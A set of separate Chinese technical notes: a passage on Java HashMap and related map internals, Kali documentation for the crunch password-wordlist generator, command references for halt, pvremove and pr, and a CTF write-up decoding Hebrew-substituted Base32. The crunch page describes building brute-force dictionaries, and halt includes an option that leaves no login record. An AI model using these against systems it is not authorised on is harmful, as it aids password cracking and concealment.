键值对,先计算 K2 的 hashCode 为 118,使用除留余数法得到所在的桶下标 118%16=6。 - 插入 &lt;K3,V3\> 键值对,先计算 K3 的 hashCode 为 118,使用除留余数法得到所在的桶下标 118%16=6,插在 &lt;K2,V2\> 前面。 应该注意到链表的插入是以头插法方式进行的,例如上面的 &lt;K3,V3\> 不是插在 &lt;K2,V2\> 后面,而是插入在链表头部。 查找需要分成两步进行: - 计算键值对所在的桶; - 在链表上顺序查找,时间复杂度显然和链表的长度成正比。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191208235258643.png"/> </div><br> #### 3. put 操作 ```java public V put(K key, V value) { if (table == EMPTY_TABLE) { inflateTable(threshold); } // 键为 null 单独处理 if (key == null) return putForNullKey(value); int hash = hash(key); // 确定桶下标 int i = indexFor(hash, table.length); // 先找出是否已经存在键为 key 的键值对,如果存在的话就更新这个键值对的值为 value for (Entry<K,V> e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } } modCount++; // 插入新键值对 addEntry(hash, key, value, i); return null; } ``` HashMap 允许插入键为 null 的键值对。但是因为无法调用 null 的 hashCode() 方法,也就无法确定该键值对的桶下标,只能通过强制指定一个桶下标来存放。HashMap 使用第 0 个桶存放键为 null 的键值对。 ```java private V putForNullKey(V value) { for (Entry<K,V> e = table[0]; e != null; e = e.next) { if (e.key == null) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } } modCount++; addEntry(0, null, value, 0); return null; } ``` 使用链表的头插法,也就是新的键值对插在链表的头部,而不是链表的尾部。 ```java void addEntry(int hash, K key, V value, int bucketIndex) { if ((size >= threshold) && (null != table[bucketIndex])) { resize(2 * table.length); hash = (null != key) ? hash(key) : 0; bucketIndex = indexFor(hash, table.length); } createEntry(hash, key, value, bucketIndex); } void createEntry(int hash, K key, V value, int bucketIndex) { Entry<K,V> e = table[bucketIndex]; // 头插法,链表头部指向新的键值对 table[bucketIndex] = new Entry<>(hash, key, value, e); size++; } ``` ```java Entry(int h, K k, V v, Entry<K,V> n) { value = v; next = n; key = k; hash = h; } ``` #### 4. 确定桶下标 很多操作都需要先确定一个键值对所在的桶下标。 ```java int hash = hash(key); int i = indexFor(hash, table.length); ``` **4.1 计算 hash 值** ```java final int hash(Object k) { int h = hashSeed; if (0 != h && k instanceof String) { return sun.misc.Hashing.stringHash32((String) k); } h ^= k.hashCode(); // This function ensures that hashCodes that differ only by // constant multiples at each bit position have a bounded // number of collisions (approximately 8 at default load factor). h ^= (h >>> 20) ^ (h >>> 12); return h ^ (h >>> 7) ^ (h >>> 4); } ``` ```java public final int hashCode() { return Objects.hashCode(key) ^ Objects.hashCode(value); } ``` **4.2 取模** 令 x = 1\<\<4,即 x 为 2 的 4 次方,它具有以下性质: ``` x : 00010000 x-1 : 00001111 ``` 令一个数 y 与 x-1 做与运算,可以去除 y 位级表示的第 4 位以上数: ``` y : 10110010 x-1 : 00001111 y&(x-1) : 00000010 ``` 这个性质和 y 对 x 取模效果是一样的: ``` y : 10110010 x : 00010000 y%x : 00000010 ``` 我们知道,位运算的代价比求模运算小的多,因此在进行这种计算时用位运算的话能带来更高的性能。 确定桶下标的最后一步是将 key 的 hash 值对桶个数取模:hash%capacity,如果能保证 capacity 为 2 的 n 次方,那么就可以将这个操作转换为位运算。 ```java static int indexFor(int h, int length) { return h & (length-1); } ``` #### 5. 扩容-基本原理 设 HashMap 的 table 长度为 M,需要存储的键值对数量为 N,如果哈希函数满足均匀性的要求,那么每条链表的长度大约为 N/M,因此查找的复杂度为 O(N/M)。 为了让查找的成本降低,应该使 N/M 尽可能小,因此需要保证 M 尽可能大,也就是说 table 要尽可能大。HashMap 采用动态扩容来根据当前的 N 值来调整 M 值,使得空间效率和时间效率都能得到保证。 和扩容相关的参数主要有:capacity、size、threshold 和 load_factor。 | 参数 | 含义 | | :--: | :-- | | capacity | table 的容量大小,默认为 16。需要注意的是 capacity 必须保证为 2 的 n 次方。| | size | 键值对数量。 | | threshold | size 的临界值,当 size 大于等于 threshold 就必须进行扩容操作。 | | loadFactor | 装载因子,table 能够使用的比例,threshold = (int)(capacity* loadFactor)。 | ```java static final int DEFAULT_INITIAL_CAPACITY = 16; static final int MAXIMUM_CAPACITY = 1 << 30; static final float DEFAULT_LOAD_FACTOR = 0.75f; transient Entry[] table; transient int size; int threshold; final float loadFactor; transient int modCount; ``` 从下面的添加元素代码中可以看出,当需要扩容时,令 capacity 为原来的两倍。 ```java void addEntry(int hash, K key, V value, int bucketIndex) { Entry<K,V> e = table[bucketIndex]; table[bucketIndex] = new Entry<>(hash, key, value, e); if (size++ >= threshold) resize(2 * table.length); } ``` 扩容使用 resize() 实现,需要注意的是,扩容操作同样需要把 oldTable 的所有键值对重新插入 newTable 中,因此这一步是很费时的。 ```java void resize(int newCapacity) { Entry[] oldTable = table; int oldCapacity = oldTable.length; if (oldCapacity == MAXIMUM_CAPACITY) { threshold = Integer.MAX_VALUE; return; } Entry[] newTable = new Entry[newCapacity]; transfer(newTable); table = newTable; threshold = (int)(newCapacity * loadFactor); } void transfer(Entry[] newTable) { Entry[] src = table; int newCapacity = newTable.length; for (int j = 0; j < src.length; j++) { Entry<K,V> e = src[j]; if (e != null) { src[j] = null; do { Entry<K,V> next = e.next; int i = indexFor(e.hash, newCapacity); e.next = newTable[i]; newTable[i] = e; e = next; } while (e != null); } } } ``` #### 6. 扩容-重新计算桶下标 在进行扩容时,需要把键值对重新计算桶下标,从而放到对应的桶上。在前面提到,HashMap 使用 hash%capacity 来确定桶下标。HashMap capacity 为 2 的 n 次方这一特点能够极大降低重新计算桶下标操作的复杂度。 假设原数组长度 capacity 为 16,扩容之后 new capacity 为 32: ```html capacity : 00010000 new capacity : 00100000 ``` 对于一个 Key,它的哈希值 hash 在第 5 位: - 为 0,那么 hash%00010000 = hash%00100000,桶位置和原来一致; - 为 1,hash%00010000 = hash%00100000 + 16,桶位置是原位置 + 16。 #### 7. 计算数组容量 HashMap 构造函数允许用户传入的容量不是 2 的 n 次方,因为它可以自动地将传入的容量转换为 2 的 n 次方。 先考虑如何求一个数的掩码,对于 10010000,它的掩码为 11111111,可以使用以下方法得到: ``` mask |= mask >> 1 11011000 mask |= mask >> 2 11111110 mask |= mask >> 4 11111111 ``` mask+1 是大于原始数字的最小的 2 的 n 次方。 ``` num 10010000 mask+1 100000000 ``` 以下是 HashMap 中计算数组容量的代码: ```java static final int tableSizeFor(int cap) { int n = cap - 1; n |= n >>> 1; n |= n >>> 2; n |= n >>> 4; n |= n >>> 8; n |= n >>> 16; return (n < 0) ? 1 : (n >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : n + 1; } ``` #### 8. 链表转红黑树 从 JDK 1.8 开始,一个桶存储的链表长度大于等于 8 时会将链表转换为红黑树。 #### 9. 与 Hashtable 的比较 - Hashtable 使用 synchronized 来进行同步。 - HashMap 可以插入键为 null 的 Entry。 - HashMap 的迭代器是 fail-fast 迭代器。 - HashMap 不能保证随着时间的推移 Map 中的元素次序是不变的。 ### ConcurrentHashMap #### 1. 存储结构 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20191209001038024.png"/> </div><br> ```java static final class HashEntry<K,V> { final int hash; final K key; volatile V value; volatile HashEntry<K,V> next; } ``` ConcurrentHashMap 和 HashMap 实现上类似,最主要的差别是 ConcurrentHashMap 采用了分段锁(Segment),每个分段锁维护着几个桶(HashEntry),多个线程可以同时访问不同分段锁上的桶,从而使其并发度更高(并发度就是 Segment 的个数)。 Segment 继承自 ReentrantLock。 ```java static final class Segment<K,V> extends ReentrantLock implements Serializable { private static final long serialVersionUID = 2249069246763182397L; static final int MAX_SCAN_RETRIES = Runtime.getRuntime().availableProcessors() > 1 ? 64 : 1; transient volatile HashEntry<K,V>[] table; transient int count; transient int modCount; transient int threshold; final float loadFactor; } ``` ```java final Segment<K,V>[] segments; ``` 默认的并发级别为 16,也就是说默认创建 16 个 Segment。 ```java static final int DEFAULT_CONCURRENCY_LEVEL = 16; ``` #### 2. size 操作 每个 Segment 维护了一个 count 变量来统计该 Segment 中的键值对个数。 ```java /** * The number of elements. Accessed only either within locks * or among other volatile reads that maintain visibility. */ transient int count; ``` 在执行 size 操作时,需要遍历所有 Segment 然后把 count 累计起来。 ConcurrentHashMap 在执行 size 操作时先尝试不加锁,如果连续两次不加锁操作得到的结果一致,那么可以认为这个结果是正确的。 尝试次数使用 RETRIES_BEFORE_LOCK 定义,该值为 2,retries 初始值为 -1,因此尝试次数为 3。 如果尝试的次数超过 3 次,就需要对每个 Segment 加锁。 ```java /** * Number of unsynchronized retries in size and containsValue * methods before resorting to locking. This is used to avoid * unbounded retries if tables undergo continuous modification * which would make it impossible to obtain an accurate result. */ static final int RETRIES_BEFORE_LOCK = 2; public int size() { // Try a few times to get accurate count. On failure due to // continuous async changes in table, resort to locking. final Segment<K,V>[] segments = this.segments; int size; boolean overflow; // true if size overflows 32 bits long sum; // sum of modCounts long last = 0L; // previous sum int retries = -1; // first iteration isn't retry try { for (;;) { // 超过尝试次数,则对每个 Segment 加锁 if (retries++ == RETRIES_BEFORE_LOCK) { for (int j = 0; j < segments.length; ++j) ensureSegment(j).lock(); // force creation } sum = 0L; size = 0; overflow = false; for (int j = 0; j < segments.length; ++j) { Segment<K,V> seg = segmentAt(segments, j); if (seg != null) { sum += seg.modCount; int c = seg.count; if (c < 0 || (size += c) < 0) overflow = true; } } // 连续两次得到的结果一致,则认为这个结果是正确的 if (sum == last) break; last = sum; } } finally { if (retries > RETRIES_BEFORE_LOCK) { for (int j = 0; j < segments.length; ++j) segmentAt(segments, j).unlock(); } } return overflow ? Integer.MAX_VALUE : size; } ``` #### 3. JDK 1.8 的改动 JDK 1.7 使用分段锁机制来实现并发更新操作,核心类为 Segment,它继承自重入锁 ReentrantLock,并发度与 Segment 数量相等。 JDK 1.8 使用了 CAS 操作来支持更高的并发度,在 CAS 操作失败时使用内置锁 synchronized。 并且 JDK 1.8 的实现也在链表过长时会转换为红黑树。 ### LinkedHashMap #### 存储结构 继承自 HashMap,因此具有和 HashMap 一样的快速查找特性。 ```java public class LinkedHashMap<K,V> extends HashMap<K,V> implements Map<K,V> ``` 内部维护了一个双向链表,用来维护插入顺序或者 LRU 顺序。 ```java /** * The head (eldest) of the doubly linked list. */ transient LinkedHashMap.Entry<K,V> head; /** * The tail (youngest) of the doubly linked list. */ transient LinkedHashMap.Entry<K,V> tail; ``` accessOrder 决定了顺序,默认为 false,此时维护的是插入顺序。 ```java final boolean accessOrder; ``` LinkedHashMap 最重要的是以下用于维护顺序的函数,它们会在 put、get 等方法中调用。 ```java void afterNodeAccess(Node<K,V> p) { } void afterNodeInsertion(boolean evict) { } ``` #### afterNodeAccess() 当一个节点被访问时,如果 accessOrder 为 true,则会将该节点移到链表尾部。也就是说指定为 LRU 顺序之后,在每次访问一个节点时,会将这个节点移到链表尾部,保证链表尾部是最近访问的节点,那么链表首部就是最近最久未使用的节点。 ```java void afterNodeAccess(Node<K,V> e) { // move node to last LinkedHashMap.Entry<K,V> last; if (accessOrder && (last = tail) != e) { LinkedHashMap.Entry<K,V> p = (LinkedHashMap.Entry<K,V>)e, b = p.before, a = p.after; p.after = null; if (b == null) head = a; else b.after = a; if (a != null) a.before = b; else last = b; if (last == null) head = p; else { p.before = last; last.after = p; } tail = p; ++modCount; } } ``` #### afterNodeInsertion() 在 put 等操作之后执行,当 removeEldestEntry() 方法返回 true 时会移除最晚的节点,也就是链表首部节点 first。 evict 只有在构建 Map 的时候才为 false,在这里为 true。 ```java void afterNodeInsertion(boolean evict) { // possibly remove eldest LinkedHashMap.Entry<K,V> first; if (evict && (first = head) != null && removeEldestEntry(first)) { K key = first.key; removeNode(hash(key), key, null, false, true); } } ``` removeEldestEntry() 默认为 false,如果需要让它为 true,需要继承 LinkedHashMap 并且覆盖这个方法的实现,这在实现 LRU 的缓存中特别有用,通过移除最近最久未使用的节点,从而保证缓存空间足够,并且缓存的数据都是热点数据。 ```java protected boolean removeEldestEntry(Map.Entry<K,V> eldest) { return false; } ``` #### LRU 缓存 以下是使用 LinkedHashMap 实现的一个 LRU 缓存: - 设定最大缓存空间 MAX_ENTRIES 为 3; - 使用 LinkedHashMap 的构造函数将 accessOrder 设置为 true,开启 LRU 顺序; - 覆盖 removeEldestEntry() 方法实现,在节点多于 MAX_ENTRIES 就会将最近最久未使用的数据移除。 ```java class LRUCache<K, V> extends LinkedHashMap<K, V> { private static final int MAX_ENTRIES = 3; protected boolean removeEldestEntry(Map.Entry eldest) { return size() > MAX_ENTRIES; } LRUCache() { super(MAX_ENTRIES, 0.75f, true); } } ``` ```java public static void main(String[] args) { LRUCache<Integer, String> cache = new LRUCache<>(); cache.put(1, "a"); cache.put(2, "b"); cache.put(3, "c"); cache.get(1); cache.put(4, "d"); System.out.println(cache.keySet()); } ``` ```html [3, 1, 4] ``` ### WeakHashMap #### 存储结构 WeakHashMap 的 Entry 继承自 WeakReference,被 WeakReference 关联的对象在下一次垃圾回收时会被回收。 WeakHashMap 主要用来实现缓存,通过使用 WeakHashMap 来引用缓存对象,由 JVM 对这部分缓存进行回收。 ```java private static class Entry<K,V> extends WeakReference<Object> implements Map.Entry<K,V> ``` #### ConcurrentCache Tomcat 中的 ConcurrentCache 使用了 WeakHashMap 来实现缓存功能。 ConcurrentCache 采取的是分代缓存: - 经常使用的对象放入 eden 中,eden 使用 ConcurrentHashMap 实现,不用担心会被回收(伊甸园); - 不常用的对象放入 longterm,longterm 使用 WeakHashMap 实现,这些老对象会被垃圾收集器回收。 - 当调用 get() 方法时,会先从 eden 区获取,如果没有找到的话再到 longterm 获取,当从 longterm 获取到就把对象放入 eden 中,从而保证经常被访问的节点不容易被回收。 - 当调用 put() 方法时,如果 eden 的大小超过了 size,那么就将 eden 中的所有对象都放入 longterm 中,利用虚拟机回收掉一部分不经常使用的对象。 ```java public final class ConcurrentCache<K, V> { private final int size; private final Map<K, V> eden; private final Map<K, V> longterm; public ConcurrentCache(int size) { this.size = size; this.eden = new ConcurrentHashMap<>(size); this.longterm = new WeakHashMap<>(size); } public V get(K k) { V v = this.eden.get(k); if (v == null) { v = this.longterm.get(k); if (v != null) this.eden.put(k, v); } return v; } public void put(K k, V v) { if (this.eden.size() >= size) { this.longterm.putAll(this.eden); this.eden.clear(); } this.eden.put(k, v); } } ``` ## 参考资料 - Eckel B. Java 编程思想 [M]. 机械工业出版社, 2002. - [Java Collection Framework](https://www.w3resource.com/java-tutorial/java-collections.php) - [Iterator 模式](https://openhome.cc/Gossip/DesignPattern/IteratorPattern.htm) - [Java 8 系列之重新认识 HashMap](https://tech.meituan.com/java_hashmap.html) - [What is difference between HashMap and Hashtable in Java?](http://javarevisited.blogspot.hk/2010/10/difference-between-hashmap-and.html) - [Java 集合之 HashMap](http://www.zhangchangle.com/2018/02/07/Java%E9%9B%86%E5%90%88%E4%B9%8BHashMap/) - [The principle of ConcurrentHashMap analysis](http://www.programering.com/a/MDO3QDNwATM.html) - [探索 ConcurrentHashMap 高并发性的实现机制](https://www.ibm.com/developerworks/cn/java/java-lo-concurrenthashmap/) - [HashMap 相关面试题及其解答](https://www.jianshu.com/p/75adf47958a7) - [Java 集合细节(二):asList 的缺陷](http://wiki.jikexueyuan.com/project/java-enhancement/java-thirtysix.html) - [Java Collection Framework – The LinkedList Class](http://javaconceptoftheday.com/java-collection-framework-linkedlist-class/)
sec-knowleage
# Crunch ************ ## Crunch 包描述 ************ Crunch是一款词表(字典)生成器,您可以在其中生成指定标准字符集或指定的字符集。Crunch可以产生所有可能的排列和组合。 [crunch 主页](https://sourceforge.net/projects/crunch-wordlist/) [Kali crunch仓库](https://git.kali.org/gitweb/?p=packages/crunch.git;a=summary) [资料来源](https://sourceforge.net/projects/crunch-wordlist//) 作者:bofh28 许可:GPLv2 ### 特征 1.crunch以排列组合的方式生成词表(字典) 2.crunch可以按照行数和文件大小来分解输出 3.恢复支持 4.模式支持数字和符号 5.模式现在分别支持大写和小写字符 6.生成多文件时添加状态报告 7.新的-l选项,用于对@,%^的字符支持 8.新的-d选项限制了重复的字符,详细说明请参照man手册 9.Unicode支持 ************ ### 包含在crunch包中的工具 Crunch-创建一个基于你指定标准的词表(字典) ``` root@kali:~# crunch crunch 版本 3.6 Crunch 可以创建一个基于你指定标准的词表(字典)。 Crunch可以将结果输出到屏幕,文件或者其他程序。 用法: crunch <min> <max> [options] 其中的min和max是指数字(即字符串的长度范围) 选项: -b 指定输出文件大小,只有在有-o START参数存在时才可以使用,输出文件会被分为以开始字符串——截至字符串为名的文件。Eg:./crunch 4 5 -b 20mib -o START 将会生成四个文件:aaaa-gvfed.txt, gvfee-ombqy.txt,ombqz-wcydt.txt, wcydu-zzzzz.txt 有效的类型为kb, mb, gb, kib, mib, gib ,前三个类型基于1000,后三个类型基于1024,注意,在数字和类型中间不能有空格,500mb是正确的,而500 mb是错误的。 -c 指定输出文件的行数,只有在有-o START参数存在时才可以使用,输出文件会被分为以开始字符串——截至字符串为名的文件。Eg:./crunch 1 1 -o START -c 60 将会分成两个文件,a-7.txt 和 8-\ .txt,第二个文件的文件名使用\的原因是最后一个字符是 ,而且不得不输出它 -d 限制重复字符的数量。 -d 2@ 限制小写字母输出类似于aab和aac,aaa是不被产生的,因为不会输出三个连续重复的字符 -e 指定停止生成的字符 –e 987 指词表生成到987就停止。 -f/path/to/charset.lst charset-name 从charset.lst中指定字符集,即调用文件 -i 翻转输出结果,如 aaa,aab 你会得到 aaa,baa -l 当你使用-t参数时,这个参数会告诉crunch 哪个特殊字符(@,%^)需要被视为普通文字,-l参数后跟的字符串长度需要等于 –t参数后跟的字符串长度 -m 和-p参数合并,请使用-p参数替代 -o 指定输出的文件 eg:-o wordlist.txt -p charset OR -p word1 word2 ... 告诉crunch去生成没有重复字符的词,已排列组合的方式生成词表(字典),其必须为最后一个参数,而且不能和-s一起使用,他忽略了最大最小长度,但是你依然要指定这两个数字 -q filename.txt 告诉crunch去读filename.txt。 -r 告诉crunch从它中断的地方去重新生成词表,-r只在你使用-o参数时才可以使用。你必须使用相同的命令用于继续生成词表。有-s参数时除外,如果你的初始命令时使用了-s参数,那么你一定要移除它在你恢复生成词表之前。只需要在原始命令后加上-r即可 -s 指定开始生成的字符串 eg:-s 03god2fs 即从03god2fs开始生成 -t 指定一个模式 eg:-t @@god@@@@ @ 会插入小写字母 , 会插入大写字母 % 会插入数字 ^ 会插入特殊符号 -u 该参数禁止打印百分比,他应该为最后一个选项 -z gzip, bzip2, lzma, and 7z 在-o参数后压缩输出,有效参数为gzip, bzip2, lzma,7z。gzip压缩最快但是压缩率是最低的.gzip2比gzip稍慢一点,但是会更好地压缩。7z压缩的最慢,但是他可以最大化压缩率。 请参阅手册页(man)以获取有关如何使用crunch的说明和示例。 ``` ********** ### Crunch用法示例 使用给定字符(0123456789abcdef)来生成包含最小和最大长度为6的单词的字典文件,将输出保存到6chars.txt ``` root@kali:~# crunch 6 6 0123456789abcdef -o 6chars.txt Crunch will now generate the following amount of data: 117440512 bytes (crunch 现在将生成以下数据量:117440512字节) 112 MB 0 GB 0 TB 0 PB Crunch will now generate the following number of lines: 16777216 (crunch 现在将生成以下函数:16777216) ```
sec-knowleage
halt === 关闭正在运行的Linux操作系统 ## 补充说明 **halt命令** 用来关闭正在运行的Linux操作系统。halt命令会先检测系统的runlevel,若runlevel为0或6,则关闭系统,否则即调用shutdown来关闭系统。 ### 语法 ```shell halt(选项) ``` ### 选项 ```shell -d:不要在wtmp中记录; -f:不论目前的runlevel为何,不调用shutdown即强制关闭系统; -i:在halt之前,关闭全部的网络界面; -n:halt前,不用先执行sync; -p:halt之后,执行poweroff; -w:仅在wtmp中记录,而不实际结束系统。 ``` ### 实例 ```shell halt -p # 关闭系统后关闭电源。 halt -d # 关闭系统,但不留下纪录。 ```
sec-knowleage
pvremove === 删除一个存在的物理卷 ## 补充说明 **pvremove命令** 用于删除一个存在的物理卷。使用pvremove指令删除物理卷时,它将LVM分区上的物理卷信息删除,使其不再被视为一个物理卷。 ### 语法 ```shell pvremove(选项)(参数) ``` ### 选项 ```shell -d # 调试模式; -f # 强制删除; -y # 对提问回答“yes”。 ``` ### 参数 物理卷:指定要删除的物理卷对应的设备文件名。 ### 实例 使用pvremove指令删除物理卷`/dev/sdb2`。在命令行中输入下面的命令: ```shell pvremove /dev/sdb2 # 删除物理卷 Labels on physical volume "/dev/sdb2" successfully wiped ```
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH PR 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 pr \- 转换文本文件以便后续打印使用 .SH 概述 \fBpr\fP [\fI\,选项\/\fP]... [\fI\,文件\/\fP]... .SH 描述 .\" Add any additional description here .PP 对给定文件进行分页或分栏以便后续打印使用。 .PP 如果没有指定文件,或者指定文件为“\-”,则从标准输入读取。 .PP 必选参数对长短选项同时适用。 .TP +首页[:末页], \fB\-\-pages\fP=\fI\,首页[\/\fP:末页] 在指定的首页/末页处开始/停止打印 .TP \fB\-列数\fP, \fB\-\-columns\fP=\fI\,列数\/\fP 输出指定的列数。如果指定了\fB\-a\fP 选项,则从上到下列印。程序会自动在每一页均衡每列占用的行数 .TP \fB\-a\fP, \fB\-\-across\fP 置每列从上到下输出,配合"\fB\-列数\fP"选项一起使用 .TP \fB\-c\fP, \fB\-\-show\-control\-chars\fP 使用头标(^G)和八进制反斜杠标记 .TP \fB\-d\fP, \fB\-\-double\-space\fP 加倍输出空白区域 .TP \fB\-D\fP, \fB\-\-date\-format\fP=\fI\,格式\/\fP 使用遵循指定格式的页眉日期 .TP \fB\-e[字符[宽度]]\fP, \fB\-\-expand\-tabs\fP[=\fI\,字符[宽度]\/\fP] 扩展输入的字符(制表符)到制表符宽度(8) .TP \fB\-F\fP, \fB\-f\fP, \fB\-\-form\-feed\fP 使用换页符代替新行作为页面间的分隔符(使用 \fB\-F\fP 选项时页眉为 3 行,不使用时为 5 行且带页脚) .TP \fB\-h\fP, \fB\-\-header\fP=\fI\,页眉\/\fP 在页眉中使用居中的指定字符代替文件名,\-h "" 会输出一个空行,不要使用 \-h"" .TP \fB\-i[字符[宽度]]\fP, \fB\-\-output\-tabs\fP[=\fI\,字符[宽度]\/\fP] 使用指定字符(或制表符)代替空格补足到指定制表符宽度(默认8) .TP \fB\-J\fP, \fB\-\-join\-lines\fP 合并整个行,关闭 \fB\-W\fP 选项的行截断,不使用栏调整,使用 \fB\-\-sep\-string\fP[=\fI\,字符串\/\fP] 设置分隔符 .TP \fB\-l\fP, \fB\-\-length\fP=\fI\,页长\/\fP 使用指定页长的行数(默认为66)(默认文本行数为 56,当启用 \fB\-F\fP 时为 63)如果指定页长小于等于 10 则隐含启用 \fB\-t\fP .TP \fB\-m\fP, \fB\-\-merge\fP 在同一行显示所有文件,每个文件占用一栏,分割行,但是当使用 \fB\-J\fP 时将行合并到完整长度 .TP \fB\-n[分隔符[位数]]\fP, \fB\-\-number\-lines\fP[=\fI\,分隔符[位数]\/\fP] 显示行号,使用指定(默认5) 位数,后接分隔符(默认TAB)默认从输入文件的第一行开始计数 .TP \fB\-N\fP, \fB\-\-first\-line\-number\fP=\fI\,数字\/\fP 从首页的首行以指定数字开始计数(参看"+首页") .TP \fB\-o\fP, \fB\-\-indent\fP=\fI\,缩进量\/\fP 将每行缩进(默认0)个空格,不影响 \fB\-w\fP 或 \fB\-W\fP 参数,缩进量的值将被加入页面宽度 .TP \fB\-r\fP, \fB\-\-no\-file\-warnings\fP 当文件无法打开时忽略警告 .TP \fB\-s[字符]\fP, \fB\-\-separator\fP[=\fI\,字符\/\fP] 由单个字符分隔各列,未使用 \fB\-w\fP 选项时时默认为制表符,否则为空。另外除非指定了 \fB\-w\fP 选项,否则 "\fB\-s[字符]\fP" 会屏蔽三个列相关的截行选项(\fB\-COLUMN\fP|\-a \fB\-COLUMN\fP|\-m) .TP \fB\-S[字符串]\fP, \fB\-\-sep\-string\fP[=\fI\,字符串\/\fP] 使用指定的字符串分栏。如果使用 \fB\-J\fP 但不使用 \fB\-S\fP 则默认以制表符作为分隔符,如果同时使用 \fB\-J\fP 和 \fB\-S\fP 则默认值为空格(等效于 \fB\-S\fP" ");这里的 \fB\-S\fP 选项不会影响分栏选项 .TP \fB\-t\fP, \fB\-\-omit\-header\fP 省略页面头部和尾部;在所指定页长小于等于 10 时默认启用 .TP \fB\-T\fP, \fB\-\-omit\-pagination\fP 忽略页眉和页脚,同时除去输入文件中设置的所有分页符 .TP \fB\-v\fP, \fB\-\-show\-nonprinting\fP 使用八进制反斜杠标记 .TP \fB\-w\fP, \fB\-\-width\fP=\fI\,页面宽度\/\fP 将多文本栏输出的页面宽度设置为指定字符数(默认 72);当 \fB\-s[char]\fP 选项不启用时有效(即保持默认值 72) .TP \fB\-W\fP, \fB\-\-page\-width\fP=\fI\,页面宽度\/\fP 总是将页面宽度设置为指定的(默认72)字符数;除非 \fB\-J\fP 选项启用,否则总是截断行;此参数与 \fB\-S\fP 或 \fB\-s\fP 不冲突 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .SH 作者 由 Pete TerMaat 和 Roland Huebner 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. .SH 参见 完整文档请见: <https://www.gnu.org/software/coreutils/pr> .br 或者在本地使用: info \(aq(coreutils) pr invocation\(aq
sec-knowleage
# Basis32 * Category: Crypto * 100 Points * Solved by the JCTF Team ## Description > We captured this message from Shabak's traffic, Can you decode the message? > > Message: טייצעשדומםךהרץסעזאשדא6תמם53ץ6עך7ךץקזטשכעמםתזג3ףהכ5הז65ת7טינקזשיףזיןפג3דחם5שזע5דטםץןץמ33עםםשקת=== ## Solution This indeed looks like base32, just with Hebrew characters instead of English ones. English is written left-to-right while Hebrew is written right-to-left, so for starters, let's take a look at this text left-to-right: ![](images/basis1.png) Now, we know that the flag format is either `BSidesTLV{}` or `BSidesTLV2020{}`, so let's align the common prefix with our string and see what we get: ```python s = "טייצעשדומםךהרץסעזאשדא6תמם53ץ6עך7ךץקזטשכעמםתזג3ףהכ5הז65ת7טינקזשיףזיןפג3דחם5שזע5דטםץןץמ33עםםשקת===" print(s) print(base64.b32encode(b"BSidesTLV").decode("ascii")) ``` Output: ![](images/basis2.png) This looks good, since the second and third character of both strings are equal. So, this might be a simple substitution process. How simple? Let's see what we know so far by mapping the Base32 characters in English to the ones we've found in Hebrew: ``` '2': '', '3': '', '4': '', '5': '', '6': '', '7': '', 'A': '', 'B': '', 'C': '', 'D': 'ד', 'E': 'ה', 'F': 'ו', 'G': '', 'H': '', 'I': 'ט', 'J': 'י', 'K': 'ך', 'L': '', 'M': '', 'N': 'ם', 'O': 'מ', 'P': '', 'Q': '', 'R': '', 'S': 'ע', 'T': '', 'U': '', 'V': 'ץ', 'W': 'צ', 'X': '', 'Y': 'ר', 'Z': 'ש', ``` Anyone that knows Hebrew will immediately notice that the order of the Hebrew characters is kept, meaning we have high confidence to fill in the rest of the characters according to the standard order: ```python import base64 s = "טייצעשדומםךהרץסעזאשדא6תמם53ץ6עך7ךץקזטשכעמםתזג3ףהכ5הז65ת7טינקזשיףזיןפג3דחם5שזע5דטםץןץמ33עםםשקת===" def char_range(start, end): return [chr(x) for x in range(ord(start), ord(end) + 1)] hebrew = "".join(char_range('2', '7') + char_range('א', 'ש')) english = "".join(char_range('2', '7') + char_range('A', 'Z')) translated = s.translate(str.maketrans(hebrew, english)) print(translated) ``` Output: ![](images/basis3.png) Looks like we still have a `ת` there that we didn't handle. That's the last letter of the Hebrew ABC and it comes after `ש` which was the last letter we had (mapped to `Z`). So it makes sense to try cycling around and have `ת` as the first letter: ```python import base64 s = "טייצעשדומםךהרץסעזאשדא6תמם53ץ6עך7ךץקזטשכעמםתזג3ףהכ5הז65ת7טינקזשיףזיןפג3דחם5שזע5דטםץןץמ33עםםשקת===" def char_range(start, end): return [chr(x) for x in range(ord(start), ord(end) + 1)] hebrew = "".join(char_range('2', '7') + char_range('א', 'ש')).replace('2', 'ת') english = "".join(char_range('2', '7') + char_range('A', 'Z')) translated = s.translate(str.maketrans(hebrew, english)) print(s) print(translated) print (base64.b32decode(translated).decode("ascii")) ``` Output: ![](images/basis4.png) The flag: `BSidesTLV2020{Now_I_Understand_How_Base32_Algorithm_Works}` If you still don't understand how the base32 algorithm works, read about it [here](https://en.wikipedia.org/wiki/Base32).
sec-knowleage
